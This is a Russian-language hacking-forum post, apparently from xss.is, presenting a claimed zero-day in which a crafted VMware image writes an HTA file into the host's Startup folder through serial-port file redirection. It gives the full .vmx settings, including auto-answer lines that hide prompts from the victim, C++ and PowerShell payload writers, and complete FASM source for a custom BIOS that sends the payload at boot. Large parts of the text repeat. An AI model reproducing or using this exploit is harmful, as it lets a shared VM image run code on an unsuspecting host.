D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Начало здесь: https://xss.is/threads/98503/#post-683025
Принцип работы уязвимости:
1. В VMWare есть возможность выводить в отдельный файл информацию, отправляемую в COM порт из гостевой системы. Пути к файлу, которые там можно прописать, не проверяются. Путь может быть прописан любой, и расширение файла любое. Например, можно прописать файл с расширением hta в автозагрузку: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\test.hta
Скриншот с настройками:
На скриншоте красным цветом обведено ключевое для данной уязвимости место настроек VMWare, где прописывается имя hta файла в папке автозагрузки.
2. Теперь как добавить контент в этот файл. Это можно сделать, например, через WinAPI, окрыв ком порт как обычный файл и записав туда контент.
C++: Скопировать в буфер обмена
Можно сделать через PowerShell:
Код: Скопировать в буфер обмена
3. В VMWare есть возможность подключать сторонние BIOS, строка для подключения прописывается в файле настроек образа с расширением vmx. Полный набор прописываемых настроек выглядит так:
bios440.filename="bios.rom"
serial0.fileType = "file"
serial0.fileName = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\a.hta"
serial0.present = "TRUE"
answer.msg.serial.file.open = "Replace"
msg.autoAnswer = "TRUE"
Разберём каждую из этих строк:
Строка bios440.filename="bios.rom" - здесь прописывается путь к образу ROM файла, в котором хранится BIOS
serial0.fileType = "file - здесь задаём режим работы компорта, он будет настроен на запись в файл
serial0.fileName = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\a.hta" - здесь прописывается путь к файлу, в который будем сохранять данные из ком порта
serial0.present = "TRUE" - этой строкой подключаем ком порт к образу вмваре
answer.msg.serial.file.open = "Replace" - если образ будет скопирован на другой компьютер, то VMWare задаст вопрос "Был ли образ перемещён или скопирован". Этой строкой мы задаём автоответ на этот вопрос, чтобы пользователю не показывался лишний месседжбокс с вопросом.
msg.autoAnswer = "TRUE" - строка аналогичная предыдущей, VMWare будет автоматически выбирать ответ "Да" на все выдаваемые ей вопросы.
Теперь переходим к самому сложному, самому коду BIOS
4. Код BIOS написан на FASM и особенность его в том, что он работает в 16 битном режиме. Процессор сразу после включения работает именно в этом режиме, только потом он программно переводится в 32 или 64 битный режим работы. VMWare первые байты кода из BIOS интерпретирует именно как 16 битный ассемблер.
Размер файла bios.rom фиксированный, и равен он 524288 байт (или 0x80000 байт в шестнадцатеричной системе счисления). Если сделать другой размер, то VMWare выдаст ошибку.
Reset Vector находится почти в самом конце файла, поэтому по его адресу расположена инструкция JMP, осуществляющая переход на основную программу BIOS. Это показано на рисунке:
На рисунке изображен скриншот из hex-редактора. Красным цветом обведён Reset Vector, откуда начинается исполнение программы после включения компьютера или нажатия кнопки Reset. Там видна инструкция JMP которая указывает на область, обведённую чёрным цветом. Область обведённая чёрным цветом это основной код.
Исходник файла bios.rom находится в прикрепленном файле bios.asm
Компилируется в FASM простой командой: fasm bios.asm
Далее разбираем обмен даннымми с компортом на ассемблере через порты ввода-вывода.
Код: Скопировать в буфер обмена
В следующей статье будет показан уже полноценный эксплоит, с тестовым EXE файлом внутри, продолжение следует.
В данной статье будет описан Zero-Day эксплоит под вмваре, подробно разобран механизм работы уязвимости и код, который прописывается в подключаемый к VMWare BIOS. Так же стоит отметить, что данная уязвимость работает и на других виртуалках, просто на VMWare она нашлась первой. Точно такую же уязвимость у меня получилось воспроизвести на Virtual Box. Данная уязвимость будет на всех виртуалках, на которых есть возможность делать перенаправление данных из компорта гостевой системы в отдельный файл на хостовой системе. Кроме того, это должно работать и в Linux. Отличие будет только в типе пейлоада - в Windows мы делаем пейлоад в виде HTA или EXE файла, а в Linux это будет, например, sh скрипт.
Принцип работы уязвимости:
1. В VMWare есть возможность выводить в отдельный файл информацию, отправляемую в COM порт из гостевой системы. Пути к файлу, которые там можно прописать, не проверяются. Путь может быть прописан любой, и расширение файла любое. Например, можно прописать файл с расширением hta в автозагрузку: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\test.hta
Скриншот с настройками:
На скриншоте красным цветом обведено ключевое для данной уязвимости место настроек VMWare, где прописывается имя hta файла в папке автозагрузки.
2. Теперь как добавить контент в этот файл. Это можно сделать, например, через WinAPI, окрыв ком порт как обычный файл и записав туда контент.
C++: Скопировать в буфер обмена
Код:
hCom = CreateFile("\\\\.\\COM1", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0);
char* payload = "<SCRIPT>alert(12345)</SCRIPT>";
DWORD bytesWritten;
WriteFile(hCom, payload, strlen(payload), &bytesWritten, 0);
CloseHandle(hComm);
Можно сделать через PowerShell:
Код: Скопировать в буфер обмена
Код:
$comPort=new-Object System.IO.Ports.SerialPort $a,1E7,None,8,one;
$comPort.DtrEnable=$true;
$comPort.Open();
$comPort.WriteLine("<SCRIPT>alert(12345)</SCRIPT>");
Но у этих способов есть недостаток: они не срабатывают сразу после нажатия на кнопку "Включить" в vmware. Нужно дожидаться загрузки системы, встраивать в автозагрузку гостевой системы Powershell скрипт или EXE, который отправляет пейлоад в компорт. Для того чтобы пейлоад записался сразу же после запуска образа операционной системы его придётся разместить в BIOS. Тогда, нажав на кнопку Play в VMWare, запись hta файла в автозагрузку на хостовой системе произойдёт мгновенно. Поэтому переходим к следующему пункту: подключение стороннего BIOS в VMWare.
3. В VMWare есть возможность подключать сторонние BIOS, строка для подключения прописывается в файле настроек образа с расширением vmx. Полный набор прописываемых настроек выглядит так:
bios440.filename="bios.rom"
serial0.fileType = "file"
serial0.fileName = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\a.hta"
serial0.present = "TRUE"
answer.msg.serial.file.open = "Replace"
msg.autoAnswer = "TRUE"
Разберём каждую из этих строк:
Строка bios440.filename="bios.rom" - здесь прописывается путь к образу ROM файла, в котором хранится BIOS
serial0.fileType = "file - здесь задаём режим работы компорта, он будет настроен на запись в файл
serial0.fileName = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\a.hta" - здесь прописывается путь к файлу, в который будем сохранять данные из ком порта
serial0.present = "TRUE" - этой строкой подключаем ком порт к образу вмваре
answer.msg.serial.file.open = "Replace" - если образ будет скопирован на другой компьютер, то VMWare задаст вопрос "Был ли образ перемещён или скопирован". Этой строкой мы задаём автоответ на этот вопрос, чтобы пользователю не показывался лишний месседжбокс с вопросом.
msg.autoAnswer = "TRUE" - строка аналогичная предыдущей, VMWare будет автоматически выбирать ответ "Да" на все выдаваемые ей вопросы.
Теперь переходим к самому сложному, самому коду BIOS
4. Код BIOS написан на FASM и особенность его в том, что он работает в 16 битном режиме. Процессор сразу после включения работает именно в этом режиме, только потом он программно переводится в 32 или 64 битный режим работы. VMWare первые байты кода из BIOS интерпретирует именно как 16 битный ассемблер.
Это значит что в регистр будет влазить только 16 битное число (то есть максимальное возможное число, хранимое в регистре, будет равно 65535). Будет непривычная адресация памяти, состоящая из двух регистров, например DS:[SI]. Потому что один регистр заадресует только 65535 байт памяти, чтобы адресовать больше нужен дополнительный регистр. Кроме того, в коде самописного BIOS не будет прерываний. Например не будет прерывания INT 14h, отвечающего за работу с COM портом. Поэтому весь функционал, который предоставляет это прерывание, мы должны реализовать самостоятельно. Делать мы это буден обращаясь напрямую к портам ввода-вывода. Вообщем, будем программировать так, как это делали 30-40 лет назад.
Сам файл bios.rom не имеет никакого формата, там нет никаких дополнительных заголовков и настроечной информации, как например в exe файлах. Образ bios записанный на микросхему или в файл представляет собой точную копию того, как он хранится в памяти компьютера. Единственнное что нужно помнить, это про точку входа в BIOS, место откуда начинается выполнение программы. Этот адрес равен 0x7FFF0 и называется он Reset Vector. Это место, откуда начинается выполнение программного кода сразу после включения компьютера или после нажатия кнопки Reset.
Сам файл bios.rom не имеет никакого формата, там нет никаких дополнительных заголовков и настроечной информации, как например в exe файлах. Образ bios записанный на микросхему или в файл представляет собой точную копию того, как он хранится в памяти компьютера. Единственнное что нужно помнить, это про точку входа в BIOS, место откуда начинается выполнение программы. Этот адрес равен 0x7FFF0 и называется он Reset Vector. Это место, откуда начинается выполнение программного кода сразу после включения компьютера или после нажатия кнопки Reset.
Размер файла bios.rom фиксированный, и равен он 524288 байт (или 0x80000 байт в шестнадцатеричной системе счисления). Если сделать другой размер, то VMWare выдаст ошибку.
Reset Vector находится почти в самом конце файла, поэтому по его адресу расположена инструкция JMP, осуществляющая переход на основную программу BIOS. Это показано на рисунке:
На рисунке изображен скриншот из hex-редактора. Красным цветом обведён Reset Vector, откуда начинается исполнение программы после включения компьютера или нажатия кнопки Reset. Там видна инструкция JMP которая указывает на область, обведённую чёрным цветом. Область обведённая чёрным цветом это основной код.
Исходник файла bios.rom находится в прикрепленном файле bios.asm
Компилируется в FASM простой командой: fasm bios.asm
Далее разбираем обмен даннымми с компортом на ассемблере через порты ввода-вывода.
Код: Скопировать в буфер обмена
Код:
use16 ; Включаем режим 16 битного ассемблера
; Здесь хранятся адреса портов ввода вывода SuperIO и компорта
; SuperIO контроллер это микросхема, объединяющая в одном корпусе набор низкоскоростных устройств: com port, параллельный порт, флоппи диск и т.д.
; До появления стандарта SuperIO для каждого такого устройства был отдельный контроллер
; Чтобы получить доступ к компорту мы сначала должны инициализировать контроллер SuperIO
; VMWare использует именно этот стандарт - стандарт SuperIO вместо отдельного контроллера для каждого устройства
SUPERIO_BASE equ 0x2e
PC97338_FER equ 0x00
PC97338_FAR equ 0x01
PC97338_PTR equ 0x02
COM_BASE equ 0x3f8 ; Базовый адрес компорта, от этого номера отсчитываются номера портов для различных функций работы с компортом (чтение, запись, и т.д.)
COM_RB equ 0x00 ; Отправка буфера (R)
COM_TB equ 0x00 ; Передача буфера (T)
COM_BRD_LO equ 0x00 ; Установка скорости компорта, младшая часть
COM_BRD_HI equ 0x01 ; Установка скорости компорта, старшая часть
COM_IER equ 0x01 ; Interrupt Enable Register
COM_FCR equ 0x02 ; FIFO Control Register, регистр буфера FIFO
COM_LCR equ 0x03 ; Line Control Register, регистр контроля линии
COM_MCR equ 0x04 ; Modem Control Registrer, регистр контроля модема
COM_LSR equ 0x05 ; Line Status Register, регистр статуса линии, по его состоянию определяем готовность порта к передаче/приёму данных
db "VMBIOS v1.00",0,0,0,0 ; В самом начале файла располагается строка с названием BIOS, под это зарезервировано 16 байт
times 0x7F000-16 db 0xFF ; Заполняем неиспользуемое пространство символами 0xFF. Почему не нолями, и откуда пошло пустое пространство заполнять именно этим числом.
; Если число 0xFF перевести в двоичный формат, то мы получим число из всех единичек b11111111. Таким образом, куча чисел 0XFF это гигантская последовательность единичек.
; В микросхемах памяти незаписанный байт обозначается как "1", а не как "0". Куча чисел 0xFF это пошло от обозначения незаписанных байтов на микросхемах.
; Начало основной программы
org 0xF000 ; Адрес, по которому метка start_com_port располагается в памяти
; Про формат вызовов подпрограмм.
; В нашем случае нежелательно использовать инструкцию call, потому что она воздействует на память и регистры (по адресу SS:SP заносится адрес возврата и регистр sp уменьшается на 2)
; Здесь проще пользоваться таким способом вызова подрограмм:
;
; mov $sp+5
; jmp proc_label
; ....
;
;proc_label:
; jmp sp
;
; Инструкция jmp работает здесь как инструкция call, инструкция jmp sp как замена инструкции ret.
; После такой замены будет исключено повреждение памяти инструкцией call
start_com_port:
; Первоначальные настройки сразу после включения компа. cli - сбросить флаг прерываний (CLear Interrupts)
; cld - задать стандартное направление обработки строк для инструкций обработки строк movsb, scasb и т.д. (CLear Direction)
; Три следующих инструкции - настройка сегментных регистров для адресации памяти
; Все эти значения нужно заполнить, так как после включения компа там может быть не "0", а какое-то иное случайное число
; Регистры DS и SS делаем равными адресу сегменту кода (CS=Code Segment). Нужно для правильной работы инструкций mov
cli
cld
mov ax, cs
mov ds, ax
mov ss, ax
mov dx, SUPERIO_BASE ; Обращаемcя к порту микросхемы Super-IO
in al, dx ; Обращаемся к порту 2 раза: если обратится один раз, то может не сработать
in al, dx ; Во всех исходниках и примерах эта команда указана дважды, почему так получилось нигде не написано
mov si, superio_conf ; Указатель на область памяти с первоначальными настройками SuperIO
mov cx, 3 ; Указываем размер этой области памяти
write_superio_conf:
mov ax, [si]
mov sp, $+5 ; Вызов подпрограммы отправки данных в порт superio
jmp superio_out ;
add si, 2
loop write_superio_conf
; Настройка компорта, делается аналогично настройке superio
mov si, serial_conf ; Указатель на таблицу настроек компорта
mov cx, 6
write_serial_conf:
mov ax, [si]
mov sp, $+5 ; Процедура отправки данных в компорт
jmp serial_out ;
add si, 2
loop write_serial_conf
; Компорт настроен и готов к работе, дальше идёт отправка пейлоада в компорт
mov si, payload
mov sp,$+5 ; Вызов подрограммы отправки ASCIIZ строки в компорт
jmp print_string ;
; Завершаем работу программы бесконечным циклом
; В бесконечном цикле считываем символ из компорта и отправляем его обратно
serial_repeater:
mov sp,$+5
jmp readchar
mov sp,$+5
jmp putchar
jmp serial_repeater
; Подпрограмма отсылки данных SuperIO контроллеру
superio_out:
mov dx, SUPERIO_BASE
out dx, al
inc dx
xchg ah, al
out dx, al
jmp sp
; Подпрограмма отсылки данных компорту
serial_out:
mov dx, COM_BASE
add dl, al
mov al, ah
out dx, al
jmp sp
; В подпрограммах адрес порта будет виден, например, в таком формате: mov dx, COM_BASE + COM_LSR
; Здесь COM_BASE это стандартный адрес com порта 0x3F8
; На разные действия может быть отведён отдельный порт
; Следом за базовым номером ком порта идут порты для определённых действий с компортом: считать байт, отправить байт и т.д.
; Например, для получения доступа к статусному регистру линии мы получаем номер порта: COM_BASE + COM_LSR = 0x3F8 + 5 = 0x3FD
; Подпрограмма вывода одиночного символа в компорт
putchar:
mov dx, COM_BASE + COM_LSR
mov ah, al
tx_wait:
in al, dx ; Дожидаемся готовности ком порта к передаче
and al, 0x20 ;
jz tx_wait ;
mov dx, COM_BASE + COM_TB
mov al, ah
out dx, al
jmp sp
; Подпрограмма считывания одиночного символа из компорта
readchar:
mov dx, COM_BASE + COM_LSR
rx_wait:
in al, dx ; Дожидаемся готовности компорта к считыванию
and al, 0x01 ;
jz rx_wait ;
mov dx, COM_BASE + COM_RB
in al, dx
jmp sp
; Подпрограмма печати строки
; Печать строки это печать множества одиночных символов, а значит это множество последовательных вызовов процедуры печати одиночного символа putchar
print_string:
lodsb
or al, al
jnz write_char
jmp sp
write_char:
shl esp, 0x10
mov sp,$+5
jmp putchar
shr esp, 0x10
jmp print_string
; Таблица для настроек SuperIO и компорта
superio_conf:
db PC97338_FER, 0x0f ; Команда включения на микросхеме SuperIO следующих устройств: компорт, параллельный порт и флоппи диск
db PC97338_FAR, 0x10 ; Задаём стандартные номера коммуникационых портов: LPT=378, COM1=3F8, COM2=2F8
db PC97338_PTR, 0x00
serial_conf:
db COM_MCR, 0x00 ; Режим RTS/DTS выключен. RTS=Ready To Send, сигнал готовности отправки данных. DTS = Data To Send, сигнал о том что данные отправлены
db COM_FCR, 0x07
db COM_LCR, 0x80
db COM_BRD_LO, 0x01 ; Скорость порта устанавливаем в 115200
db COM_BRD_HI, 0x00
db COM_LCR, 0x03 ; Line Control Register, устанавливаем режим передачи 8N1, то есть 8 байт в пакете, N=отсутствие проверки чётности, 1 - количество стоповых битов
payload:
db '<SCRIPT>alert(7);</script>',0 ; Здесь хранится ASCIIZ строка с тестовым пейлоадом
end_com_port:
times 0x7FFF0 - 0x7F000 - (end_com_port - start_com_port) db 0xFF ; Резервируем неиспользуемую область памяти между основным программным кодом и Reset Vector
; Здесь находится Reset Vector, отсюда начинается исполнение программы после включения компьютера, либо после нажатия кнопки Reset
; В Reset Vector будет располагаться одна единственная инструкция JMP, делающая переход на основной программный код.
; Как устроена и как расчитывается инструкция JMP: первый байт это 0xE9 - это сигнатура инструкции JMP
; Дальше идёт 16 битное число, содержащее адрес перехода
; В формуле перехода первый знак "-", это означает мы переходим на минус столько-то байт назад.
; Значение $ - start_com_port это расстояние в байтах до места куда надо перейти, число байт от текущей позиции инструкции JMP и основного программного кода
; К текущей позиции инструкции JMP процессор приплюсовывает ещё 2 байта, поэтому в формуле есть число 2
start_bios_code:
db 0e9h
dw - ($ - start_com_port + 2)
end_bios_code:
times 13 db 0xff ; Заполняем оставшиеся байты до полного размера файла в 524288 байт (0x80000 байт в шестнадцатеричной системе счисления)
В следующей статье будет показан уже полноценный эксплоит, с тестовым EXE файлом внутри, продолжение следует.